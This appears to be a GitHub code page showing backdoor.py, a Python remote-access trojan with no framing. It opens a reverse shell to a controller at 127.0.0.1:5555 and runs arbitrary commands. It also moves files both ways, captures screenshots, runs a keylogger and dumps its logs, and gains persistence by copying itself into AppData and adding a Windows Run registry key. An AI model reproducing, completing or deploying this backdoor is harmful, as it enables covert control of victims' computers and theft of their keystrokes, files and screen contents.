-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbackdoor.py
139 lines (119 loc) · 3.93 KB
/
backdoor.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
from core.keylogger import Keylogger
import json
import os
import shutil
import socket
import subprocess
import sys
import threading
import time
import pyautogui
def reliable_send(data):
json_data = json.dumps(data)
s.send(json_data.encode())
def reliable_recv():
data = ''
while True:
try:
data = data + s.recv(1024).decode().strip()
return json.loads(data)
except ValueError:
continue
def upload_file(file_name):
f = open(file_name, 'rb')
s.send(f.read())
def screenshot():
f_screenshot = pyautogui.screenshot()
f_screenshot.save('screen.png')
def download_file(file_name):
f = open(file_name, 'wb')
s.settimeout(1)
chunk = s.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = s.recv(1024)
except socket.timeout as e:
break
s.settimeout(None)
f.close()
def persis(reg_name, copy_name):
file_location = os.environ['appdata'] + '\\' + copy_name
try:
if not os.path.exists(file_location):
shutil.copyfile(sys.executable, file_location)
subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v '
+ reg_name
+ ' /t REG_SZ /d "' + file_location + '"', shell=True)
reliable_send('[+] Created persistence with reg key: ' + reg_name)
else:
reliable_send('Persistence already exists')
except:
reliable_send('Error creating persistence!')
def connection():
while True:
time.sleep(20)
try:
s.connect(('127.0.0.1', 5555))
shell()
s.close()
break
except:
connection()
def shell():
while True:
command = reliable_recv()
if command == 'quit':
break
elif command == 'help':
pass
elif command == 'clear':
pass
elif command[:3] == 'cd ':
os.chdir(command[3:])
elif command[:6] == 'upload':
download_file(command[7:])
elif command[:8] == 'download':
upload_file(command[9:])
elif command[:10] == 'screenshot':
screenshot()
upload_file('screen.png')
os.remove('screen.png')
elif command[:12] == 'keylog_start':
keylog = Keylogger()
t = threading.Thread(target=keylog.start)
t.start()
reliable_send('[+] Keylogger started!')
elif command[:11] == 'keylog_dump':
logs = keylog.read_logs()
reliable_send(logs)
elif command[:11] == 'keylog_stop':
keylog.self_destruct()
t.join()
reliable_send('[+] Keylogger stopped!')
elif command[:11] == 'persistence':
reg_name, copy_name = command[12:].split(' ')
persis(reg_name, copy_name)
elif command[:7] == 'sendall':
if command[8:] == 'pwd':
if os.name == 'nt':
command[8:] = 'cd'
execute = subprocess.Popen(command[8:],
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
else:
if command == 'pwd':
if os.name == 'nt':
command = 'cd'
execute = subprocess.Popen(command,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
result = execute.stdout.read() + execute.stderr.read()
result = result.decode()
reliable_send(result)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection()